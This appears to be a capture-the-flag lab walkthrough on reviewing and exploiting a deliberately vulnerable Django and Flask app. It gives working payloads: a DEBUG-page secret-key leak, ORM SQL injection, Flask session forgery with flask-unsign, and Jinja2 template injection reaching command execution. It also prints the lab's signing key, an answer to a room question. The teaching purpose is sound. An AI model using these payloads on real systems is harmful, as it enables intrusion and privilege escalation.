Introduction
This is the Python entry in the Web Frameworks module, and we are going to work it the way a security reviewer actually does: as a code review. Rather than poking at a black box and guessing, we are handed the application's source and asked to find the bugs by reading it, then prove each one on the running lab machine. This is white-box testing. When we can see how the code is written, the framework-specific mistakes stop being mysteries and become patterns we can grep for.
The application is built on two of Python's most common web frameworks. Django is batteries-included: it ships an ORM, an admin site, a templating engine, server-side sessions, and a middleware stack, all wired together out of the box. Flask is a micro-framework: it gives us routing and a request object and leaves the rest to us and to add-on libraries. The two have very different defaults, and a framework's defaults are exactly where its bugs tend to live. A setting that is convenient in development, a session model that trusts the client, a template call that compiles a string: each of these is a habit that turns into a vulnerability when it reaches production.
We read the redacted source to locate each framework-specific sink, then exploit the lab machine directly to recover the real flag. Secret values are blanked to <REDACTED> in the served source, so the source teaches us WHERE a bug lives, never the secret itself; we recover the real values by attacking the lab machine, which is reachable directly so we can point tooling such as curl and flask-unsign straight at it.
Learning Objectives
- Read Django and Flask source to locate framework-specific sinks
- Recover a Django
SECRET_KEYfrom aDEBUG=True500 error page - Spot and exploit an ORM SQL injection that survives Django's parameterisation
- Decode and forge a Flask signed session cookie
- Detect and exploit Jinja2 server-side template injection to reach command execution
- Chain a reused secret across services to reach the highest privilege tier
Prerequisites
- Working knowledge of HTTP and the request/response cycle
- Familiarity with the OWASP Top 10
- Comfort reading Python (no writing required) and using
curlfrom a terminal
Suggested prerequisite rooms: Web Frameworks: Code Review for the read, map, trace, triage, and verify method, Web Frameworks: Java, OWASP Top 10 2025: Insecure Data Handling, SQL Injection, and Content Discovery.
Machine Access
To begin, click the Start Lab Machine button below and give it a couple of minutes to boot. Everything on the lab machine runs in the browser: the landing page at http://MACHINE_IP/ is a split-pane source viewer, with a file tree of the application's source on the left, the selected file's redacted source in the middle, and the live application on the right. We read the source on the left and middle to locate each framework-specific sink, then exploit the live application, which is reachable directly at http://MACHINE_IP/app/. The right-hand pane mirrors that same app so we can see it rendering next to its source as we read, but all exploitation happens through curl and flask-unsign against the app directly, since a browser session in the iframe won't reflect cookies forged from the command line. There is no SSH login for the lab machine. All the tooling we need is preinstalled on the AttackBox; if you are working from a personal host, install the session-forging tool with pip install flask-unsign.
Machine Access
No credentials are required to access this lab machine.
?Answer the questions below
- I have successfully started my lab machine instance.
Django, DEBUG Mode and the SECRET_KEY Leak
Django ships with a DEBUG setting that controls how the framework behaves when something goes wrong. During development it is a convenience: leave it True and any unhandled exception renders Django's technical 500 error page. That page is generous to a fault. It shows the full traceback with source excerpts, the local variables at each frame, the request data, and a settings panel listing the application's configuration. The setting is meant to be flipped to False before anything reaches production, and when it is not, the result is the single most common high-impact Django misconfiguration. The detail that makes development pleasant is the same detail that hands an attacker the internals of the app.
The value worth hunting for on that page is SECRET_KEY. This is Django's root cryptographic signing secret. It signs session cookies, password-reset tokens, CSRF tokens, and anything else that passes through django.core.signing. Recover it and you can forge any value the framework trusts. Modern Django is aware of this and masks SECRET_KEY in the settings panel of the debug page, replacing it with asterisks. That masking only covers the structured settings table. The exception MESSAGE is rendered verbatim. So when a developer writes a config value into an error string, the masking does nothing and the secret leaks in full.
Spotting It in the Source
Open djangoapp/settings.py in the middle pane of the viewer. Two lines tell the story:
SECRET_KEY = os.environ.get("APP_SECRET_KEY", "<REDACTED>")
DEBUG = True
The SECRET_KEY is pulled from an environment variable, and in the served source its value is blanked to <REDACTED>; the source shows us WHERE the secret lives, never the secret itself. DEBUG = True means the technical 500 page is live.
Now open core/views.py and find error_view. It raises an exception that embeds the secret directly in the message:
raise RuntimeError(f"Configuration load failed: SECRET_KEY={settings.SECRET_KEY} ...")
This is the combination we are looking for. DEBUG = True renders the technical page on any unhandled exception, and this view deliberately echoes settings.SECRET_KEY into the exception text. The settings panel would mask the key, but the message is printed as written, so the real value appears on the live page.
Exploiting the Live App
We do not need a browser for this. The exception message sits in the HTML of the 500 response, so we can request the error route and pull the value straight out with grep.
root@TryHackMe:~# curl -s http://MACHINE_IP/error/ | grep -m 1 -o 'SECRET_KEY=[^ <]*'
Flags explained:
-s, run curl silently so progress output does not clutter the resultgrep -m 1, stop after the first match, since Django's debug page renders the exception value twice (once in the page heading, once in the traceback's meta table)-o, print only the matching text rather than the whole line'SECRET_KEY=[^ <]*', matchSECRET_KEY=followed by everything up to the next space or<, which trims the value at the HTML tag that follows it
The command returns:
SECRET_KEY=django-insecure-<REDACTED>
Run it yourself and the real key comes back in full, rendered because it travelled through the exception message rather than the masked settings panel. The source review pointed us at the route and the echoed setting, and the live page fills in the value that the source keeps blank.
Hold on to this key. It is the root signing secret, so anything Django signs can now be forged against it. The Flask half of the room reuses the same secret, which means recovering it once here gives us the key to forge sessions later. We will come back to that in Task 4 and Task 6.
Hint: If grep returns nothing, request http://MACHINE_IP/error/ in a browser first and confirm the technical 500 page renders. The leaked value sits inside the exception message at the top of that page.
?Answer the questions below
- Which value in settings.py, when left True in production, makes Django render its detailed technical 500 error page?
- Recover it once and you can forge any value Django signs: session cookies, CSRF tokens, and reset tokens. Which setting holds this root signing secret?
- Trigger the technical 500 page on the lab machine and read the leaked value. What is the SECRET_KEY? (Answer Format: the full value, including the prefix)
Django, SQL Injection That Survives the ORM
Django's ORM parameterises every query it builds. When we write Article.objects.filter(title=user_input), the value never touches the SQL string directly. Django sends the query and the value to the database driver separately, the driver binds the value as a parameter, and an attacker-supplied quote stays harmless data rather than becoming part of the statement. This is why people repeat that "Django is safe from SQL injection". The honest version is narrower: the ORM is safe only while developers stay inside it.
Three escape hatches let a developer drop below the ORM and hand raw SQL to the database. Each one reintroduces SQL injection the moment user input is formatted into the string instead of passed as a parameter.
| Method | What it does | Why it is dangerous |
|---|---|---|
.extra(where=[...]) |
Splices a raw SQL fragment into the WHERE clause | The fragment is appended to the query verbatim, so f-stringing input into it is direct injection |
.raw("...") |
Runs a hand-written SQL string and maps rows back to model instances | String formatting the query body lets input change the statement |
cursor.execute("...") |
Runs arbitrary SQL through a raw database cursor | Building the string with % or f-strings concatenates input straight into SQL |
Hunting for Django SQLi in a code review means grepping for exactly these three call sites. Each of them also has a safe form: pass the values separately through the params keyword argument, for example .extra(where=["title = %s"], params=[q]). With params, the %s placeholder is bound by the driver and the input can never break out of the value.
Spotting It in the Source
Open core/views.py in the viewer and read articles_view. The search runs:
Article.objects.extra(where=[f"title = '{q}'"])
The user-supplied q is f-stringed straight into a raw WHERE fragment, wrapped in single quotes. There is no params, so this is the unsafe form of the first row in our table.
Now open core/models.py. Alongside the Article model there is a Flag model with a single field named value. Django names a model's table <app_label>_<model_name> by default, so Flag in the core app maps to the table core_flag, even though that table name never appears in the source itself. No normal view exposes this model. This is the white-box advantage at work: reading the model source gives us the column name directly, and Django's naming convention gives us the table name, before we send a single payload. With the schema in hand we can UNION the flag straight out of the injectable query.
Exploiting the Live App
Django wraps the extra where fragment in parentheses, so the query it actually builds looks like ... WHERE (title = '<q>'). Our payload therefore has to close the string with a quote, close the parenthesis, UNION a SELECT whose column count matches the underlying query (id, title, body, so three columns), and then comment out the trailing parenthesis Django adds.
root@TryHackMe:~# curl -s --get http://MACHINE_IP/articles/ --data-urlencode "q=') UNION SELECT id, value, value FROM core_flag -- "
Flags explained:
-s, silent mode, suppress the progress meter--get, send the data as a query string on a GET request--data-urlencode, URL-encode the payload so the quotes, spaces, and parentheses survive transit intact
We pull value into both the title and body positions so the flag shows up whichever field the response renders. Run it yourself and the response returns:
{"results": [{"title": "THM{...}", "body": "THM{...}"}]}
The flag the model kept hidden is now in the search results. The takeaway for a code review is mechanical: an ORM call alone is not proof of safety. The moment we see .extra(), .raw(), or cursor.execute() with input formatted into the string, the parameterisation guarantee is gone and we treat the endpoint as injectable.
?Answer the questions below
- Of the three ORM escape hatches, which QuerySet method splices a raw SQL fragment into the WHERE clause and reintroduces SQL injection when input is f-stringed in instead of parameterised?
- Which keyword argument on that method binds the values through the database driver and removes the injection?
- Read the model source to learn the schema, then inject through the live endpoint to read the hidden flag. What is the flag?
Flask, Signed Sessions and Session Forgery
Flask does not keep your session on the server. The whole thing lives client-side in the session cookie. Open one up and we see three dot-separated segments: a base64-encoded payload, a timestamp, then an HMAC signature computed over the first two using the application's SECRET_KEY. That signature is the only thing stopping a visitor from rewriting their own session. The trap is that signed is not the same as encrypted. The payload is readable by anyone who receives the cookie, and anyone who holds the key can recompute a valid signature for a payload of their choosing. So if the key leaks, every session the app trusts becomes forgeable.
This is the structural difference from Django. Django stores the session server-side and hands the browser only an opaque session ID, so tampering with the cookie gets you nothing without database access. Flask trusts the cookie itself, gated entirely by the signature.
| Property | Django | Flask |
|---|---|---|
| Storage | Server-side (database/cache) | Client-side, inside the cookie |
| Cookie name | sessionid |
session |
| Cookie contents | Opaque session ID | The full session payload, base64-encoded |
| Integrity | Lookup against server store | HMAC signature with SECRET_KEY |
We already recovered that key in Task 2. Before forging anything, though, let us confirm the source is using it the way we expect.
Spotting the Sink in the Source
In the viewer, open flask/app.py. The signing key is set with:
app.secret_key = os.environ.get("APP_SECRET_KEY", "<REDACTED>")
That is the same APP_SECRET_KEY environment variable read by Django's settings.py. The two services share one secret, which is exactly why the value we pulled off the Django debug page will sign a Flask cookie.
Further down, every visitor is handed a default session:
session["role"] = "guest"
And the flag sits behind a role check:
if session.get("role") in ("admin", "superadmin"):
return ... flag
Reading the source tells us the two things we need: the field that gates the flag is role, and the value we want is admin. The key is the one already in our hands. Nothing here is encrypted, so we can rewrite that field freely once we can re-sign.
Forging the Session
The tool of choice is flask-unsign. It decodes Flask cookies, forges new ones from a known key, and can brute-force weak keys against a wordlist if we did not already have one. Our key is recovered, so we go straight to signing. It is preinstalled on the AttackBox; on a personal host, run pip install flask-unsign.
First, decode your own cookie to confirm the field name matches the source. Grab the session cookie from your browser's developer tools or from a curl -v against the app, then:
root@TryHackMe:~# flask-unsign --decode --cookie '<your session cookie>'
You should see {'role': 'guest'}, confirming the field. Now sign a new payload with role set to admin, using the SECRET_KEY we recovered in Task 2:
root@TryHackMe:~# flask-unsign --sign --cookie "{'role': 'admin'}" --secret 'django-insecure-7h3_5h4r3d_fr4m3w0rk_k3y_2026'
Flags explained:
--sign, produce a fully signed cookie ready to send--cookie, the session payload to sign, here{'role': 'admin'}--secret, the signing key, theSECRET_KEYwe recovered in Task 2
The command prints a forged cookie value. Send it as the session cookie when requesting the dashboard:
root@TryHackMe:~# curl -s http://MACHINE_IP/dashboard -H "Cookie: session=<forged cookie>"
The dashboard renders the flag. A missing or wrong cookie returns 403, so if you see that, check that you copied the full forged value and signed with the exact key, with no trailing newline.
The point worth holding on to is that we never touched the server's session store because there is none. We wrote our own session and re-signed it, and the app accepted it because the signature checked out. That is the whole weakness of a client-side signed session once the key is known.
?Answer the questions below
- A Flask session cookie is signed, not encrypted, so its integrity rests entirely on one secret. Which secret signs it, the same value shared with Django?
- Once the key is known, which command-line tool forges a valid Flask session cookie (and can also decode one or brute-force a weak key)?
- Forge a session with role set to admin, replace your cookie, and reach the dashboard. What is the flag?
Flask, Jinja2 Server-Side Template Injection
Server-side template injection (SSTI) happens when user input reaches the template engine as part of the template itself rather than as data passed into a template. The distinction is the whole bug. When Flask renders render_template("results.html", q=user_input), the user input is data: Jinja2 compiles the static template file once and treats q as a plain value to print. When the code does render_template_string("Results for " + user_input) instead, the user now controls the template source, so anything they type is compiled and evaluated as Jinja2 syntax.
A template engine is not a string formatter. Jinja2 evaluates expressions inside {{ ... }} in the same Python process that runs the application, with access to the objects in scope. Once we control the template, we can walk from a harmless-looking object up through Python's object graph to the os module, and from there to command execution. SSTI is the path from a reflected string to RCE.
Spotting the Sink in the Source
Open ssti/app.py in the viewer. The /search route builds its template by concatenation:
template = PAGE_HEAD + q + PAGE_TAIL
return render_template_string(template)
PAGE_HEAD and PAGE_TAIL are just static HTML wrapper strings, imported from a separate page.py module, that give the results page its layout. The q value comes straight from the request and is glued in between them before the combined string is handed to render_template_string. That concatenation is the sink, regardless of how much static markup surrounds the user-controlled part. During a source review, the pattern to grep for is exactly this: any user-controlled value building a string that feeds render_template_string. The safe version keeps the template static and passes the value as a named argument, so the user can never inject template syntax.
Confirming the Engine
Two requests tell us what we are dealing with. The smoke test sends {{7*7}}: if the response reflects 49, the input is being evaluated as a template expression rather than printed literally. To confirm we are in Jinja2 (Python) and not Twig (PHP), we send {{7*'7'}}. Python multiplies a string by an integer to repeat it, so Jinja2 returns 7777777, whereas Twig would return 49.
| Behaviour | Jinja2 (Flask, Python) | Twig (PHP) |
|---|---|---|
{{7*7}} |
49 |
49 |
{{7*'7'}} |
7777777 (string repeat) |
49 (numeric coercion) |
| Object access | __globals__, __class__, __init__ |
_self, _context |
| RCE path | Python object graph to os |
filter abuse, system |
Exploiting the Live App
Run the smoke test first, then the engine confirmation, then the full chain to read the flag.
root@TryHackMe:~# curl -s --get http://MACHINE_IP/search --data-urlencode 'q={{7*7}}'
root@TryHackMe:~# curl -s --get http://MACHINE_IP/search --data-urlencode "q={{7*'7'}}"
root@TryHackMe:~# curl -s --get http://MACHINE_IP/search --data-urlencode "q={{ cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}"
Flags explained:
--get, send the data as a query string with a GET request, matching how/searchreads its input--data-urlencode, URL-encode the payload so the braces, quotes, and spaces survive transport intact
The smoke test reflects 49, which proves the input is evaluated, not printed. The confirmation reflects 7777777, which fixes the engine as Jinja2 running on Python. The final request returns the flag.
The RCE payload walks the object graph rather than calling os directly, because the template namespace does not expose os by name. cycler is a built-in Jinja2 helper available in every template. From it we reach __init__, the bound method that built the object, and __globals__, the dictionary of globals for the module that defined cycler. That module has already imported os, so __globals__.os hands us the module. We then call os.popen('cat /flag.txt').read() to run a command and read its output back into the response. Any object reachable from the template works as a starting point; cycler is convenient because it is always present.
Hint: If {{7*7}} reflects the literal text instead of 49, the input is being escaped or treated as data; recheck that the request reaches /search and that the payload is sent as the q parameter.
?Answer the questions below
- Unlike render_template , which treats its arguments as data, which Flask function compiles its string argument as a Jinja2 template on every call, making it the SSTI sink when fed user input?
- The smoke test {{7*7}} returns 49 in both Jinja2 and Twig. Sending {{7*'7'}} tells them apart. What does it return in a Jinja2 context, confirming you are in Python rather than Twig?
- Exploit the SSTI on /search to run a command and read /flag.txt. What is the flag?
Practical, The White-Box Chain
Each task so far solved one bug in isolation. The point of the source review was to notice what ties them together: the same secret. When we read djangoapp/settings.py in Task 2 and flask/app.py in Task 4, both files pulled their signing key from the same place, os.environ.get("APP_SECRET_KEY", "<REDACTED>"). That is a shared secret, one key reused across two services. It happens in real deployments whenever a team copies a .env file between projects or sets one environment variable for a whole stack. The cost of that habit is simple: a single leak from one service breaks every service that trusts the same key.
We already proved the leak. Django's DEBUG = True error page handed us the real value in Task 2:
django-insecure-<REDACTED>
Because Flask signs its session cookies with that exact key, recovering it once lets us forge any Flask session we like. In Task 4 we forged role=admin to reach the dashboard. The capstone sits one tier higher. The /console route is gated behind role=superadmin, a privilege level above the dashboard's admin. Same forging technique, one different value in the payload.
Spotting the Chain in the Source
The chain is visible the moment we line up the two source files side by side. Both read the same environment variable, so the key is shared rather than per-service.
| File | Signing key line | What it means |
|---|---|---|
djangoapp/settings.py |
SECRET_KEY = os.environ.get("APP_SECRET_KEY", "<REDACTED>") |
Django signs sessions, CSRF, and reset tokens with this |
flask/app.py |
app.secret_key = os.environ.get("APP_SECRET_KEY", "<REDACTED>") |
Flask signs its session cookie with the same value |
Open flask/app.py again and read the route gates. The dashboard checks if session.get("role") in ("admin", "superadmin"), but the console is stricter: it requires role == "superadmin". So admin is enough for the dashboard yet too low for the console. We need to forge the higher tier.
Exploiting the Full Chain
Four steps, no exploit code of our own, just one leaked secret and one client-side session model we walk from anonymous to the top tier.
First, pull the SECRET_KEY straight from Django's debug page into a shell variable so we never copy it by hand, then sign a superadmin cookie with it:
root@TryHackMe:~# KEY=$(curl -s http://MACHINE_IP/error/ | grep -m 1 -o 'django-insecure-[^ <]*')
root@TryHackMe:~# flask-unsign --sign --cookie "{'role': 'superadmin'}" --secret "$KEY"
Flags explained:
curl -sruns quietly so only the response body is captured intoKEYgrep -m 1 -o 'django-insecure-[^ <]*'extracts only the key value from the rendered 500 page, stopping at the first space or HTML tag;-m 1matters here because Django's debug page renders the exception value twice, and without it$KEYwould capture both copies joined by a newline, breaking the signature--signproduces a signed cookie rather than decoding one--cookie "{'role': 'superadmin'}"is the session payload we want signed--secret "$KEY"signs with the recovered shared key, the sameSECRET_KEYwe recovered in Task 2
Capturing the key into $KEY matters because the signature is computed over the exact bytes of the secret. A stray newline or a copied trailing character produces a valid-looking cookie that the server rejects.
Take the forged cookie that flask-unsign prints and send it to the console route:
root@TryHackMe:~# curl -s http://MACHINE_IP/console -H "Cookie: session=<forged cookie>"
With a correctly signed superadmin cookie, the console renders the final flag:
THM{...}
Hint: A 403 means the role is too low or the key is wrong. Forge superadmin, not admin, and use the exact SECRET_KEY with no trailing newline.
Step back and look at what we did. We read the source to find where the bug lived, triggered Django's debug page to leak one secret, recognised the same secret signing Flask's cookies, and forged our way from a guest to the highest privilege tier. No password was ever cracked and no exploit code was written. One misconfiguration plus one reused key was the whole path from anonymous visitor to full compromise of the application.
?Answer the questions below
- The key leaks from Django, yet the sessions you forge to reach the dashboard and console belong to the other service that trusts the same key. Which framework serves those two routes? (one word)
- The chain starts by leaking the shared SECRET_KEY. Which Django route deliberately raises an exception, rendering the technical 500 page that echoes the key? (Answer Format: URL path with trailing slash)
- Forge a superadmin session and reach /console. What is the final flag?
Conclusion
We reviewed two Python web applications the way a security tester does, by reading the source for the sink and then proving it on the running lab machine. The bugs were not exotic. Each one came from a framework default or a developer habit that is easy to ship and hard to spot from the outside.
What we walked away with:
DEBUG = Truein production turns any unhandled exception into a dump of the application's configuration, and an echoed setting puts theSECRET_KEYitself on the page.- The Django ORM parameterises queries and stays safe until a developer reaches for
.extra(),.raw(), orcursor.execute()with input formatted into the string. - A signed cookie is not an encrypted one, so we can read a Flask session, recover the key, and forge it at will.
render_template_stringon user input is SSTI, and Jinja2 SSTI reaches RCE by walking Python's object graph to theosmodule.- A reused secret turns one leak into compromise of every service that trusts it, which is how the Django key in Task 2 gave us the Flask console in Task 6.
The thread running through all of it is the white-box angle. Half the work was reading the source to find the sink, and the other half was proving it on the live application. Once we know what each framework signs, trusts, and renders, the same patterns are quick to find in any codebase that uses them.
The review method itself, the read, map, trace, triage, and verify workflow, is covered in Web Frameworks: Code Review. The sibling entries carry these patterns into other stacks: Web Frameworks: Java (Spring Boot) is already available, and Web Frameworks: .NET (ASP.NET) covers the same bug classes with different syntax and different defaults.
?Answer the questions below
- I have completed the Web Frameworks: Python room.